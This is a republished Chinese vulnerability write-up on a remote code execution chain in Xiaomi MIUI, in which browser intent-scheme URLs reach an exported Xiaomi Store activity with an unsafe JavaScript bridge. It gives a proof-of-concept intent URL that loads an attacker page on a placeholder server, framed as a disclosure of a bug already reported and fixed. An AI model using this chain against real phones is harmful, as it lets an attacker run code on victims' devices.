小米手機MIUI遠程代碼執(zhí)行漏洞分析

責任編輯:editor004

2014-08-29 10:53:50

摘自:51cto

7月我在研究webview漏洞時專門挑小米手機的MIUI測試了下,發(fā)現(xiàn)了非常明顯的安全漏洞。本次分析的漏洞,如果是惡意攻擊者,通過載入遠程的惡意網(wǎng)頁利用ROOT漏洞攻擊,完全可以直接掌控受害者的手機,后果不可想象。據(jù)了解小米官方已經(jīng)修復(fù)了小米商店APP存在的漏洞

關(guān)鍵字:MIUI 漏洞 小米手機

7月我在研究webview漏洞時專門挑小米手機的MIUI測試了下,發(fā)現(xiàn)了非常明顯的安全漏洞。通過該漏洞可以遠程獲取本地APP的權(quán)限,突破本地漏洞和遠程漏洞的界限,使本地app的漏洞遠程也能被利用,達到隔山打牛的效果。在漏洞發(fā)現(xiàn)的第一時間,我已經(jīng)將漏洞細節(jié)報告給了小米安全響應(yīng)中心,目前漏洞已經(jīng)修復(fù)。

小米手機MIUI遠程代碼執(zhí)行漏洞分析

  測試環(huán)境:

手機型號:MI 3

Android版本:4.2.1 JOP40D

MIUI版本:MIUI-JXCCNBE21

內(nèi)核版本:3.4.35-ga656ab9

一. 小米MIUI原生瀏覽器存在意圖協(xié)議安全問題

在使用小米原生瀏覽器的時候我發(fā)現(xiàn)MIUI定制了網(wǎng)絡(luò)異常頁面, 如當前url不能訪問或網(wǎng)絡(luò)異常會跳轉(zhuǎn)到定制的網(wǎng)頁,通過點擊網(wǎng)頁中的鏈接可以直接進入WIFI的設(shè)置界面。

小米手機MIUI遠程代碼執(zhí)行漏洞分析

根據(jù)我以往的經(jīng)驗,APP要在靜態(tài)網(wǎng)頁中實現(xiàn)進程間通信主流的方法有兩種,一種是通過addJavascriptInterface給webview加入一個javascript橋接接口,通過調(diào)用這個接口可以直接操作本地的JAVA接口。另外一種方法是使用Intent.parseUri解析URL,讓APP支持intent scheme URLs(意圖協(xié)議URL),通過解析特定格式的URL直接向系統(tǒng)發(fā)送意圖。

測試過后,果然發(fā)現(xiàn)小米瀏覽器完全支持意圖協(xié)議URL,測試過程如下,讓小米瀏覽器直接訪問下面的地址,瀏覽器會向系統(tǒng)發(fā)起意圖,啟動本地的日歷APP

intent:#Intent;component=com.android.calendar/com.android.calendar.LaunchActivity;end

小米手機MIUI遠程代碼執(zhí)行漏洞分析

  我再翻閱了一下google官方framework中intent的源代碼:

/platform/frameworks/base/+/core/java/android/content/Intent.java

3966行的Intent.parseUri定義

if (uri.startsWith("S.", i)) b.putString(key, value); else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value)); else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value)); else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0)); else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value)); else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value)); else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value)); else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value)); else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value)); else throw new URISyntaxException(uri, "unknown EXTRA type", i);

可以明顯的看到Intent.parseUri解析URL時完全可以自定義EXTRA DATA和DATA以及acion等,通過符合格式的協(xié)議地址向本地任意APP發(fā)送任意意圖,所以如果本地某個APP的導出組件存在漏洞,我們也可以從這個入口進行遠程攻擊。

二.小米商店存在webview遠程代碼執(zhí)行漏洞

順著第一部分的思路,我開始審計MIUI系統(tǒng)中預(yù)裝和內(nèi)置的APP,希望能發(fā)現(xiàn)被遠程利用的漏洞。在自動漏洞掃描中,我發(fā)現(xiàn)小米官方的APP“小米商店”的webview使用了addjavascriptinterface,且編譯API級別小于17,可能存在webview遠程代碼執(zhí)行漏洞。

小米手機MIUI遠程代碼執(zhí)行漏洞分析

于是我針對這個APP進行了逆向分析,發(fā)現(xiàn)了該APP的多個導出組件,如com.xiaomi.shop.activity.MainActivity組件接受參數(shù)能夠被外部調(diào)用加載任意的網(wǎng)頁。

同時我發(fā)現(xiàn)了該組件關(guān)聯(lián)的com.xiaomi.shop.ui類初始化了一個叫WE的addJavascriptInterface漏洞接口,并且沒有做任何安全處理。

根據(jù)逆向代碼,com.xiaomi.shop.activity.MainActivity這個活動組件接受的EXTRA DATA是string類型,結(jié)合第一部分小米瀏覽器的意圖協(xié)議漏洞,可以輕松寫出漏洞驗證代碼,通過導入的網(wǎng)頁調(diào)用存在漏洞的JavascriptInterface接口WE,能夠以當前APP的權(quán)限執(zhí)行任意的命令和JAVA代碼

intent:#Intent;component=com.xiaomi.shop/com.xiaomi.shop.activity.MainActivity;

S.com.xiaomi.shop.extra_closed_url=http://server/acttack.html;

end

三. 安全建議.

安卓開發(fā)者在注意用戶體驗的開發(fā)同時也應(yīng)該關(guān)注安全,因為某個APP的易用功能而導致整個系統(tǒng)的安全性大打折扣就得不償失了。

本次分析的漏洞,如果是惡意攻擊者,通過載入遠程的惡意網(wǎng)頁利用ROOT漏洞攻擊,完全可以直接掌控受害者的手機,后果不可想象。據(jù)了解小米官方已經(jīng)修復(fù)了小米商店APP存在的漏洞,建議小米手機和MIUI的用戶都盡快升級。

鏈接已復(fù)制,快去分享吧

企業(yè)網(wǎng)版權(quán)所有?2010-2024 京ICP備09108050號-6京公網(wǎng)安備 11010502049343號